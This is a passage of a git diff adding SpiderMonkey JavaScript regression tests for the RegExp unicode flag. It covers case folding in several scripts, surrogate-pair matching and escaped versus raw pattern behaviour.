+test(0x118CF, 0x118AF); // WARANG CITI SMALL LETTER UC, WARANG CITI CAPITAL LETTER UC
+test(0x118D0, 0x118B0); // WARANG CITI SMALL LETTER ENN, WARANG CITI CAPITAL LETTER ENN
+test(0x118D1, 0x118B1); // WARANG CITI SMALL LETTER ODD, WARANG CITI CAPITAL LETTER ODD
+test(0x118D2, 0x118B2); // WARANG CITI SMALL LETTER TTE, WARANG CITI CAPITAL LETTER TTE
+test(0x118D3, 0x118B3); // WARANG CITI SMALL LETTER NUNG, WARANG CITI CAPITAL LETTER NUNG
+test(0x118D4, 0x118B4); // WARANG CITI SMALL LETTER DA, WARANG CITI CAPITAL LETTER DA
+test(0x118D5, 0x118B5); // WARANG CITI SMALL LETTER AT, WARANG CITI CAPITAL LETTER AT
+test(0x118D6, 0x118B6); // WARANG CITI SMALL LETTER AM, WARANG CITI CAPITAL LETTER AM
+test(0x118D7, 0x118B7); // WARANG CITI SMALL LETTER BU, WARANG CITI CAPITAL LETTER BU
+test(0x118D8, 0x118B8); // WARANG CITI SMALL LETTER PU, WARANG CITI CAPITAL LETTER PU
+test(0x118D9, 0x118B9); // WARANG CITI SMALL LETTER HIYO, WARANG CITI CAPITAL LETTER HIYO
+test(0x118DA, 0x118BA); // WARANG CITI SMALL LETTER HOLO, WARANG CITI CAPITAL LETTER HOLO
+test(0x118DB, 0x118BB); // WARANG CITI SMALL LETTER HORR, WARANG CITI CAPITAL LETTER HORR
+test(0x118DC, 0x118BC); // WARANG CITI SMALL LETTER HAR, WARANG CITI CAPITAL LETTER HAR
+test(0x118DD, 0x118BD); // WARANG CITI SMALL LETTER SSUU, WARANG CITI CAPITAL LETTER SSUU
+test(0x118DE, 0x118BE); // WARANG CITI SMALL LETTER SII, WARANG CITI CAPITAL LETTER SII
+test(0x118DF, 0x118BF); // WARANG CITI SMALL LETTER VIYO, WARANG CITI CAPITAL LETTER VIYO
+test(0x16E40, 0x16E60); // MEDEFAIDRIN CAPITAL LETTER M, MEDEFAIDRIN SMALL LETTER M
+test(0x16E41, 0x16E61); // MEDEFAIDRIN CAPITAL LETTER S, MEDEFAIDRIN SMALL LETTER S
+test(0x16E42, 0x16E62); // MEDEFAIDRIN CAPITAL LETTER V, MEDEFAIDRIN SMALL LETTER V
+test(0x16E43, 0x16E63); // MEDEFAIDRIN CAPITAL LETTER W, MEDEFAIDRIN SMALL LETTER W
+test(0x16E44, 0x16E64); // MEDEFAIDRIN CAPITAL LETTER ATIU, MEDEFAIDRIN SMALL LETTER ATIU
+test(0x16E45, 0x16E65); // MEDEFAIDRIN CAPITAL LETTER Z, MEDEFAIDRIN SMALL LETTER Z
+test(0x16E46, 0x16E66); // MEDEFAIDRIN CAPITAL LETTER KP, MEDEFAIDRIN SMALL LETTER KP
+test(0x16E47, 0x16E67); // MEDEFAIDRIN CAPITAL LETTER P, MEDEFAIDRIN SMALL LETTER P
+test(0x16E48, 0x16E68); // MEDEFAIDRIN CAPITAL LETTER T, MEDEFAIDRIN SMALL LETTER T
+test(0x16E49, 0x16E69); // MEDEFAIDRIN CAPITAL LETTER G, MEDEFAIDRIN SMALL LETTER G
+test(0x16E4A, 0x16E6A); // MEDEFAIDRIN CAPITAL LETTER F, MEDEFAIDRIN SMALL LETTER F
+test(0x16E4B, 0x16E6B); // MEDEFAIDRIN CAPITAL LETTER I, MEDEFAIDRIN SMALL LETTER I
+test(0x16E4C, 0x16E6C); // MEDEFAIDRIN CAPITAL LETTER K, MEDEFAIDRIN SMALL LETTER K
+test(0x16E4D, 0x16E6D); // MEDEFAIDRIN CAPITAL LETTER A, MEDEFAIDRIN SMALL LETTER A
+test(0x16E4E, 0x16E6E); // MEDEFAIDRIN CAPITAL LETTER J, MEDEFAIDRIN SMALL LETTER J
+test(0x16E4F, 0x16E6F); // MEDEFAIDRIN CAPITAL LETTER E, MEDEFAIDRIN SMALL LETTER E
+test(0x16E50, 0x16E70); // MEDEFAIDRIN CAPITAL LETTER B, MEDEFAIDRIN SMALL LETTER B
+test(0x16E51, 0x16E71); // MEDEFAIDRIN CAPITAL LETTER C, MEDEFAIDRIN SMALL LETTER C
+test(0x16E52, 0x16E72); // MEDEFAIDRIN CAPITAL LETTER U, MEDEFAIDRIN SMALL LETTER U
+test(0x16E53, 0x16E73); // MEDEFAIDRIN CAPITAL LETTER YU, MEDEFAIDRIN SMALL LETTER YU
+test(0x16E54, 0x16E74); // MEDEFAIDRIN CAPITAL LETTER L, MEDEFAIDRIN SMALL LETTER L
+test(0x16E55, 0x16E75); // MEDEFAIDRIN CAPITAL LETTER Q, MEDEFAIDRIN SMALL LETTER Q
+test(0x16E56, 0x16E76); // MEDEFAIDRIN CAPITAL LETTER HP, MEDEFAIDRIN SMALL LETTER HP
+test(0x16E57, 0x16E77); // MEDEFAIDRIN CAPITAL LETTER NY, MEDEFAIDRIN SMALL LETTER NY
+test(0x16E58, 0x16E78); // MEDEFAIDRIN CAPITAL LETTER X, MEDEFAIDRIN SMALL LETTER X
+test(0x16E59, 0x16E79); // MEDEFAIDRIN CAPITAL LETTER D, MEDEFAIDRIN SMALL LETTER D
+test(0x16E5A, 0x16E7A); // MEDEFAIDRIN CAPITAL LETTER OE, MEDEFAIDRIN SMALL LETTER OE
+test(0x16E5B, 0x16E7B); // MEDEFAIDRIN CAPITAL LETTER N, MEDEFAIDRIN SMALL LETTER N
+test(0x16E5C, 0x16E7C); // MEDEFAIDRIN CAPITAL LETTER R, MEDEFAIDRIN SMALL LETTER R
+test(0x16E5D, 0x16E7D); // MEDEFAIDRIN CAPITAL LETTER O, MEDEFAIDRIN SMALL LETTER O
+test(0x16E5E, 0x16E7E); // MEDEFAIDRIN CAPITAL LETTER AI, MEDEFAIDRIN SMALL LETTER AI
+test(0x16E5F, 0x16E7F); // MEDEFAIDRIN CAPITAL LETTER Y, MEDEFAIDRIN SMALL LETTER Y
+test(0x16E60, 0x16E40); // MEDEFAIDRIN SMALL LETTER M, MEDEFAIDRIN CAPITAL LETTER M
+test(0x16E61, 0x16E41); // MEDEFAIDRIN SMALL LETTER S, MEDEFAIDRIN CAPITAL LETTER S
+test(0x16E62, 0x16E42); // MEDEFAIDRIN SMALL LETTER V, MEDEFAIDRIN CAPITAL LETTER V
+test(0x16E63, 0x16E43); // MEDEFAIDRIN SMALL LETTER W, MEDEFAIDRIN CAPITAL LETTER W
+test(0x16E64, 0x16E44); // MEDEFAIDRIN SMALL LETTER ATIU, MEDEFAIDRIN CAPITAL LETTER ATIU
+test(0x16E65, 0x16E45); // MEDEFAIDRIN SMALL LETTER Z, MEDEFAIDRIN CAPITAL LETTER Z
+test(0x16E66, 0x16E46); // MEDEFAIDRIN SMALL LETTER KP, MEDEFAIDRIN CAPITAL LETTER KP
+test(0x16E67, 0x16E47); // MEDEFAIDRIN SMALL LETTER P, MEDEFAIDRIN CAPITAL LETTER P
+test(0x16E68, 0x16E48); // MEDEFAIDRIN SMALL LETTER T, MEDEFAIDRIN CAPITAL LETTER T
+test(0x16E69, 0x16E49); // MEDEFAIDRIN SMALL LETTER G, MEDEFAIDRIN CAPITAL LETTER G
+test(0x16E6A, 0x16E4A); // MEDEFAIDRIN SMALL LETTER F, MEDEFAIDRIN CAPITAL LETTER F
+test(0x16E6B, 0x16E4B); // MEDEFAIDRIN SMALL LETTER I, MEDEFAIDRIN CAPITAL LETTER I
+test(0x16E6C, 0x16E4C); // MEDEFAIDRIN SMALL LETTER K, MEDEFAIDRIN CAPITAL LETTER K
+test(0x16E6D, 0x16E4D); // MEDEFAIDRIN SMALL LETTER A, MEDEFAIDRIN CAPITAL LETTER A
+test(0x16E6E, 0x16E4E); // MEDEFAIDRIN SMALL LETTER J, MEDEFAIDRIN CAPITAL LETTER J
+test(0x16E6F, 0x16E4F); // MEDEFAIDRIN SMALL LETTER E, MEDEFAIDRIN CAPITAL LETTER E
+test(0x16E70, 0x16E50); // MEDEFAIDRIN SMALL LETTER B, MEDEFAIDRIN CAPITAL LETTER B
+test(0x16E71, 0x16E51); // MEDEFAIDRIN SMALL LETTER C, MEDEFAIDRIN CAPITAL LETTER C
+test(0x16E72, 0x16E52); // MEDEFAIDRIN SMALL LETTER U, MEDEFAIDRIN CAPITAL LETTER U
+test(0x16E73, 0x16E53); // MEDEFAIDRIN SMALL LETTER YU, MEDEFAIDRIN CAPITAL LETTER YU
+test(0x16E74, 0x16E54); // MEDEFAIDRIN SMALL LETTER L, MEDEFAIDRIN CAPITAL LETTER L
+test(0x16E75, 0x16E55); // MEDEFAIDRIN SMALL LETTER Q, MEDEFAIDRIN CAPITAL LETTER Q
+test(0x16E76, 0x16E56); // MEDEFAIDRIN SMALL LETTER HP, MEDEFAIDRIN CAPITAL LETTER HP
+test(0x16E77, 0x16E57); // MEDEFAIDRIN SMALL LETTER NY, MEDEFAIDRIN CAPITAL LETTER NY
+test(0x16E78, 0x16E58); // MEDEFAIDRIN SMALL LETTER X, MEDEFAIDRIN CAPITAL LETTER X
+test(0x16E79, 0x16E59); // MEDEFAIDRIN SMALL LETTER D, MEDEFAIDRIN CAPITAL LETTER D
+test(0x16E7A, 0x16E5A); // MEDEFAIDRIN SMALL LETTER OE, MEDEFAIDRIN CAPITAL LETTER OE
+test(0x16E7B, 0x16E5B); // MEDEFAIDRIN SMALL LETTER N, MEDEFAIDRIN CAPITAL LETTER N
+test(0x16E7C, 0x16E5C); // MEDEFAIDRIN SMALL LETTER R, MEDEFAIDRIN CAPITAL LETTER R
+test(0x16E7D, 0x16E5D); // MEDEFAIDRIN SMALL LETTER O, MEDEFAIDRIN CAPITAL LETTER O
+test(0x16E7E, 0x16E5E); // MEDEFAIDRIN SMALL LETTER AI, MEDEFAIDRIN CAPITAL LETTER AI
+test(0x16E7F, 0x16E5F); // MEDEFAIDRIN SMALL LETTER Y, MEDEFAIDRIN CAPITAL LETTER Y
+test(0x1E900, 0x1E922); // ADLAM CAPITAL LETTER ALIF, ADLAM SMALL LETTER ALIF
+test(0x1E901, 0x1E923); // ADLAM CAPITAL LETTER DAALI, ADLAM SMALL LETTER DAALI
+test(0x1E902, 0x1E924); // ADLAM CAPITAL LETTER LAAM, ADLAM SMALL LETTER LAAM
+test(0x1E903, 0x1E925); // ADLAM CAPITAL LETTER MIIM, ADLAM SMALL LETTER MIIM
+test(0x1E904, 0x1E926); // ADLAM CAPITAL LETTER BA, ADLAM SMALL LETTER BA
+test(0x1E905, 0x1E927); // ADLAM CAPITAL LETTER SINNYIIYHE, ADLAM SMALL LETTER SINNYIIYHE
+test(0x1E906, 0x1E928); // ADLAM CAPITAL LETTER PE, ADLAM SMALL LETTER PE
+test(0x1E907, 0x1E929); // ADLAM CAPITAL LETTER BHE, ADLAM SMALL LETTER BHE
+test(0x1E908, 0x1E92A); // ADLAM CAPITAL LETTER RA, ADLAM SMALL LETTER RA
+test(0x1E909, 0x1E92B); // ADLAM CAPITAL LETTER E, ADLAM SMALL LETTER E
+test(0x1E90A, 0x1E92C); // ADLAM CAPITAL LETTER FA, ADLAM SMALL LETTER FA
+test(0x1E90B, 0x1E92D); // ADLAM CAPITAL LETTER I, ADLAM SMALL LETTER I
+test(0x1E90C, 0x1E92E); // ADLAM CAPITAL LETTER O, ADLAM SMALL LETTER O
+test(0x1E90D, 0x1E92F); // ADLAM CAPITAL LETTER DHA, ADLAM SMALL LETTER DHA
+test(0x1E90E, 0x1E930); // ADLAM CAPITAL LETTER YHE, ADLAM SMALL LETTER YHE
+test(0x1E90F, 0x1E931); // ADLAM CAPITAL LETTER WAW, ADLAM SMALL LETTER WAW
+test(0x1E910, 0x1E932); // ADLAM CAPITAL LETTER NUN, ADLAM SMALL LETTER NUN
+test(0x1E911, 0x1E933); // ADLAM CAPITAL LETTER KAF, ADLAM SMALL LETTER KAF
+test(0x1E912, 0x1E934); // ADLAM CAPITAL LETTER YA, ADLAM SMALL LETTER YA
+test(0x1E913, 0x1E935); // ADLAM CAPITAL LETTER U, ADLAM SMALL LETTER U
+test(0x1E914, 0x1E936); // ADLAM CAPITAL LETTER JIIM, ADLAM SMALL LETTER JIIM
+test(0x1E915, 0x1E937); // ADLAM CAPITAL LETTER CHI, ADLAM SMALL LETTER CHI
+test(0x1E916, 0x1E938); // ADLAM CAPITAL LETTER HA, ADLAM SMALL LETTER HA
+test(0x1E917, 0x1E939); // ADLAM CAPITAL LETTER QAAF, ADLAM SMALL LETTER QAAF
+test(0x1E918, 0x1E93A); // ADLAM CAPITAL LETTER GA, ADLAM SMALL LETTER GA
+test(0x1E919, 0x1E93B); // ADLAM CAPITAL LETTER NYA, ADLAM SMALL LETTER NYA
+test(0x1E91A, 0x1E93C); // ADLAM CAPITAL LETTER TU, ADLAM SMALL LETTER TU
+test(0x1E91B, 0x1E93D); // ADLAM CAPITAL LETTER NHA, ADLAM SMALL LETTER NHA
+test(0x1E91C, 0x1E93E); // ADLAM CAPITAL LETTER VA, ADLAM SMALL LETTER VA
+test(0x1E91D, 0x1E93F); // ADLAM CAPITAL LETTER KHA, ADLAM SMALL LETTER KHA
+test(0x1E91E, 0x1E940); // ADLAM CAPITAL LETTER GBE, ADLAM SMALL LETTER GBE
+test(0x1E91F, 0x1E941); // ADLAM CAPITAL LETTER ZAL, ADLAM SMALL LETTER ZAL
+test(0x1E920, 0x1E942); // ADLAM CAPITAL LETTER KPO, ADLAM SMALL LETTER KPO
+test(0x1E921, 0x1E943); // ADLAM CAPITAL LETTER SHA, ADLAM SMALL LETTER SHA
+test(0x1E922, 0x1E900); // ADLAM SMALL LETTER ALIF, ADLAM CAPITAL LETTER ALIF
+test(0x1E923, 0x1E901); // ADLAM SMALL LETTER DAALI, ADLAM CAPITAL LETTER DAALI
+test(0x1E924, 0x1E902); // ADLAM SMALL LETTER LAAM, ADLAM CAPITAL LETTER LAAM
+test(0x1E925, 0x1E903); // ADLAM SMALL LETTER MIIM, ADLAM CAPITAL LETTER MIIM
+test(0x1E926, 0x1E904); // ADLAM SMALL LETTER BA, ADLAM CAPITAL LETTER BA
+test(0x1E927, 0x1E905); // ADLAM SMALL LETTER SINNYIIYHE, ADLAM CAPITAL LETTER SINNYIIYHE
+test(0x1E928, 0x1E906); // ADLAM SMALL LETTER PE, ADLAM CAPITAL LETTER PE
+test(0x1E929, 0x1E907); // ADLAM SMALL LETTER BHE, ADLAM CAPITAL LETTER BHE
+test(0x1E92A, 0x1E908); // ADLAM SMALL LETTER RA, ADLAM CAPITAL LETTER RA
+test(0x1E92B, 0x1E909); // ADLAM SMALL LETTER E, ADLAM CAPITAL LETTER E
+test(0x1E92C, 0x1E90A); // ADLAM SMALL LETTER FA, ADLAM CAPITAL LETTER FA
+test(0x1E92D, 0x1E90B); // ADLAM SMALL LETTER I, ADLAM CAPITAL LETTER I
+test(0x1E92E, 0x1E90C); // ADLAM SMALL LETTER O, ADLAM CAPITAL LETTER O
+test(0x1E92F, 0x1E90D); // ADLAM SMALL LETTER DHA, ADLAM CAPITAL LETTER DHA
+test(0x1E930, 0x1E90E); // ADLAM SMALL LETTER YHE, ADLAM CAPITAL LETTER YHE
+test(0x1E931, 0x1E90F); // ADLAM SMALL LETTER WAW, ADLAM CAPITAL LETTER WAW
+test(0x1E932, 0x1E910); // ADLAM SMALL LETTER NUN, ADLAM CAPITAL LETTER NUN
+test(0x1E933, 0x1E911); // ADLAM SMALL LETTER KAF, ADLAM CAPITAL LETTER KAF
+test(0x1E934, 0x1E912); // ADLAM SMALL LETTER YA, ADLAM CAPITAL LETTER YA
+test(0x1E935, 0x1E913); // ADLAM SMALL LETTER U, ADLAM CAPITAL LETTER U
+test(0x1E936, 0x1E914); // ADLAM SMALL LETTER JIIM, ADLAM CAPITAL LETTER JIIM
+test(0x1E937, 0x1E915); // ADLAM SMALL LETTER CHI, ADLAM CAPITAL LETTER CHI
+test(0x1E938, 0x1E916); // ADLAM SMALL LETTER HA, ADLAM CAPITAL LETTER HA
+test(0x1E939, 0x1E917); // ADLAM SMALL LETTER QAAF, ADLAM CAPITAL LETTER QAAF
+test(0x1E93A, 0x1E918); // ADLAM SMALL LETTER GA, ADLAM CAPITAL LETTER GA
+test(0x1E93B, 0x1E919); // ADLAM SMALL LETTER NYA, ADLAM CAPITAL LETTER NYA
+test(0x1E93C, 0x1E91A); // ADLAM SMALL LETTER TU, ADLAM CAPITAL LETTER TU
+test(0x1E93D, 0x1E91B); // ADLAM SMALL LETTER NHA, ADLAM CAPITAL LETTER NHA
+test(0x1E93E, 0x1E91C); // ADLAM SMALL LETTER VA, ADLAM CAPITAL LETTER VA
+test(0x1E93F, 0x1E91D); // ADLAM SMALL LETTER KHA, ADLAM CAPITAL LETTER KHA
+test(0x1E940, 0x1E91E); // ADLAM SMALL LETTER GBE, ADLAM CAPITAL LETTER GBE
+test(0x1E941, 0x1E91F); // ADLAM SMALL LETTER ZAL, ADLAM CAPITAL LETTER ZAL
+test(0x1E942, 0x1E920); // ADLAM SMALL LETTER KPO, ADLAM CAPITAL LETTER KPO
+test(0x1E943, 0x1E921); // ADLAM SMALL LETTER SHA, ADLAM CAPITAL LETTER SHA
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-index.js b/js/src/tests/non262/RegExp/unicode-index.js
new file mode 100644
index 0000000000..a4b2eb2030
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-index.js
@@ -0,0 +1,17 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- Pattern match should start from lead surrogate when lastIndex points corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+var r = /\uD83D\uDC38/ug;
+r.lastIndex = 1;
+var str = "\uD83D\uDC38";
+var result = r.exec(str);
+assertEq(result.length, 1);
+assertEq(result[0], "\uD83D\uDC38");
+
+// This does not match to ES6 spec, but the spec will be changed.
+assertEq(result.index, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-lead-trail.js b/js/src/tests/non262/RegExp/unicode-lead-trail.js
new file mode 100644
index 0000000000..7ecdb9ace4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-lead-trail.js
@@ -0,0 +1,218 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- lead and trail patterns in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\uD83D\uDC38/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(/\uD83D\uDC38?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38?/u.exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38?/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38?/.exec(""),
+ null);
+
+assertEqArray(/\uD83D\uDC38?/.exec("\uD83D"),
+ ["\uD83D"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec(""),
+ [""]);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "u").exec("\uD83D"),
+ [""]);
+
+// RegExp constructor, no unicode flag
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(new RegExp("\\uD83D\\uDC38?", "").exec(""),
+ null);
+
+assertEqArray(new RegExp("\\uD83D\\uDC38?", "").exec("\uD83D"),
+ ["\uD83D"]);
+
+// ==== + ====
+
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\uD83D\uDC38+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38+/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/\uD83D\uDC38+/.exec("\uD83D"),
+ null);
+assertEqArray(/\uD83D\uDC38+/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38+/.exec(""),
+ null);
+
+// ==== * ====
+
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\uD83D\uDC38*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\uDC38*/.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38\uDC38"]);
+assertEq(/\uD83D\uDC38*/.exec(""),
+ null);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uD83D/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\uD83D/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\uD83D/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\uD83D/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\uD83D/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// no unicode flag
+assertEqArray(/\uD83D/.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDC00"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uDFFF"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D/.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\uDC38/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\uDC38/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\uDC38/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\uDC38/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\uDC38/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// no unicode flag
+assertEqArray(/\uDC38/.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uD800\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDBFF\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\uDC38/.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== invalid trail ====
+
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u3042*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042"),
+ ["\uD83D\u3042"]);
+assertEqArray(/\uD83D\u{3042}*/u.exec("\uD83D\u3042\u3042"),
+ ["\uD83D\u3042\u3042"]);
+
+assertEqArray(/\uD83DA*/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DA"),
+ ["\uD83DA"]);
+assertEqArray(/\uD83DA*/u.exec("\uD83DAA"),
+ ["\uD83DAA"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u0.00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u00/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u000G/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\uD83D\\u0.00/u`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-raw.js b/js/src/tests/non262/RegExp/unicode-raw.js
new file mode 100644
index 0000000000..37b572cd82
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-raw.js
@@ -0,0 +1,139 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- raw unicode.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(eval(`/\uD83D\uDC38/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\u{D83D}\uDC38/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (trail)
+assertEq(eval(`/\uD83D\\uDC38/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\uD83D\\u{DC38}/u`).exec("\u{1F438}"),
+ null);
+
+// escaped (lead), no unicode flag
+assertEqArray(eval(`/\\uD83D\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped (trail), no unicode flag
+assertEqArray(eval(`/\uD83D\\uDC38/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== RegExp constructor ====
+
+assertEqArray(new RegExp("\uD83D\uDC38", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// no unicode flag
+assertEqArray(new RegExp("\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(lead)
+assertEq(new RegExp("\\uD83D\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\\u{D83D}\uDC38", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(trail)
+assertEq(new RegExp("\uD83D\\uDC38", "u").exec("\u{1F438}"),
+ null);
+assertEq(new RegExp("\uD83D\\u{DC38}", "u").exec("\u{1F438}"),
+ null);
+
+// escaped(lead), no unicode flag
+assertEqArray(new RegExp("\\uD83D\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// escaped(trail), no unicode flag
+assertEqArray(new RegExp("\uD83D\\uDC38", "").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+
+// ==== ? ====
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec(""),
+ [""]);
+
+assertEqArray(eval(`/\uD83D\uDC38?/u`).exec("\uD83D"),
+ [""]);
+
+// no unicode flag
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(eval(`/\uD83D\uDC38?/`).exec(""),
+ null);
+
+assertEqArray(eval(`/\uD83D\uDC38?/`).exec("\uD83D"),
+ ["\uD83D"]);
+
+// escaped (lead)
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec("\u{1F438}"),
+ null);
+assertEq(eval(`/\\uD83D\uDC38?/u`).exec(""),
+ null);
+
+assertEqArray(eval(`/\\uD83D\uDC38?/u`).exec("\uD83D"),
